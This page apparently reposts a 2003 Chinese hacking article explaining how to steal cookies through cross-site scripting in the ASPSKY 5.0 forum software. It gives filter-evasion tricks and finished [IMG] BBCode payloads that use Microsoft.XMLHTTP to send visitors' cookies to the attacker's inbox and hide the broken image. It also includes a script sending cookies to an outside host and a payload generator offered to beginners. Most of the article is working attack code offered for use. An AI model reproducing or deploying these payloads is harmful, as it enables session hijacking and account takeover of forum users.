• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号
您的位置:首页 > 程序设计 >ASP > 利用Microsoft.XMLHTTP控件发送COOKIE

利用Microsoft.XMLHTTP控件发送COOKIE

作者: 字体:[增加 减小] 来源:互联网 时间:2017-05-11

通过本文主要向大家介绍了microsoft.xmlhttp,vb microsoft.xmlhttp,xmlhttp cookie,xmlhttprequest,xmlhttp等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com
作者:czy <czy82@elong.com>
出处:http://www.nsfocus.net
日期:2003-09-03

(注意由于论坛会对文章中的一些字符作处理,所以最好到
http://www.chinansl.com/czy/xmlhttp.txt看文章
http://www.chinansl.com/czy/aspsky5.htm测试代码)

    跨站脚本攻击想必各位都已经是很熟悉了,但是得到COOKIE的时候一直有一个
问题:总是要用WINDOW.OPEN弹一个窗体出来然后发送COOKIE,这样隐秘性
就大打折扣了。以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句
的办法勉强可以作到发送COOKIE不出现IE窗口,但是在实际使用中有时会遇到IE出错。

    没有更好的办法了吗?以前在研究VBS病毒自动升级的时候用到一个Microsoft.XMLHTTP
控件(该控件是WIN98/2K上都默认自带的东东,并且它是IE认为safe的控件!),通过它我们
可以在网页中给网站发送http请求,可以是POST也可以是GET.

    好了思路已经到这儿来,下面我们可以实战一下,我以ASPSKY 5.0 0320为例子。
我们知道<IMG SRC="XXXXXXX">在SRC中可以写入vbscript:这样的语句。。比如
<img src="vbscript:a=(msgbox(now))">,但是我们只能执行一个语句,比如
<img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">这样都将是错误的!
怎么办法呢?在VBS中我们可以用EXECUTE语句,在JS中我们可以使用EVAL语!
比如:<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")">
或是<img src="javascript:eval('alert(\'nsfocus\');alert(\'czy\')')">

   还没有晕吧?上面你可能会注意到用VBS的execute语句时双引号要换为"这是因为:
在VBS中单引号要括起字符串,必须是两个单引号代表一个又引号,并且在双引号内!
所以在execute语句中我们不能用单引号,而直接用"呢,在HTML进行引号匹配的时候
会和src="后的引号匹配,所以我们只能用"代替了。

   引号的问题解决了,在实际应用中ASPSKY还会对我们的代码进行处理:
1:如果发现script字串,会在前面加上一个空格
2:如果发现http字串会认为是一个URL,并在两边加上<A>元素
3:如果发现空格会用 代替

  解决问题:
1:vbscript用vbsCript代替
2:http用,""ht""+""tp...代替(vbs中引号括引号里面的应用多一对,+代表连接符)
3:空格用 代替(注不是)

   在最后就是发送COOKIE的问题:
1:控件在本地可以GET,POST任意的网站,但是在网页中竟然只能
GET,POST当前服务器。。。。要不然IE就会说拒绝仿问!
2:cookie中不能有&等在URL中有特殊交意的字符

  解决问题:

1:只能发给当前服务器,那么可以把COOKIE发到你在论坛上的注册的用户的邮箱嘛:)
2:replace(document.cookie,""&"",""-""),在vbs中用
replace替换函用,在例子中我把"&"换成了"-"

问题都解决了下面是实际的例子:
动网aspsky 5.0 0320测试成功

//----------------------

[IMG]vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=发送&message=""&dat,false:http.send")[/IMG]

说明:把COOKIE发给CZY用户,邮件标题叫news
//----------------------


另控件的正常用法:
<script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>




  让代码更完美,现在COOKIE已经乖乖的在我们的邮箱里了,但是有一个小问题由于图片不
能正常的显示会是一个小叉,旁边还有按此在新窗口浏览图片的提示。。。这又难免会让人
生疑。

解决思路:
一个网页中的所有IMG元素通过document.imanges都能例举到,并且可以设置它们的大小,当width=0时就
相当于HIDDEN了.通过比较元素的src属性的值是否含有"ript"就可以判断是不是我们的图片.另外比较时
大于符用>代替,0用0代替!

代码:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next")[/IMG]


实际应用的代码:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=发送&message=""&dat,false:http.send")[/IMG]


//-------------------方便菜鸟使用:)
ASPSKY 5.0 0320 COOKI搜集器--CZY
设置发送地址: ▲发送地址形如:www.nnit30.com/newbbs(newbbs是网站中论坛的安装目录最后不用加/,也不要http://头) 发送的用户名:------------- 生成的代码:)
[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]</div> </div>
分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • Asp 使用 Microsoft.XMLHTTP 抓取网页内容并过滤需要的
  • 利用Microsoft.XMLHTTP控件发送COOKIE

相关文章

  • 2017-05-11ASP数据库连接方式大全
  • 2017-05-11ASP调用存储过程的技巧
  • 2017-05-11[图]Flash+ASP实现电子互动地图在线标注功能
  • 2017-05-11asp中cint与clng的区别分析
  • 2017-05-11ReplaceSaveRemoteFile 替换、保存远程图片 的代码
  • 2017-05-11怎样判断一个盘上是否有文件
  • 2017-05-11ASP如何获取真实IP地址
  • 2017-05-11ASP中Web页面间的数据传递方式
  • 2017-05-11ASP中保留小数点后两位数的方法(使用FormatNumber)
  • 2017-05-11ASP的Server.MapPath()不同参数返回路径总结

文章分类

  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号

最近更新的内容

    • asp添加数据实现代码
    • 突破空格的限制
    • 服务端 VBScript 与 JScript 几个相同特性的写法与示例
    • ASP中Web页面间的数据传递方式
    • ADO存取数据库时如何分页显示
    • fso的一些特殊功能
    • ASP模仿google suggest风格实现下拉菜单效果
    • ASP 获取腾讯IP地址的代码
    • Asp 返回引用类型函数代码
    • asp下制做行背景颜色交替变换的表格

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有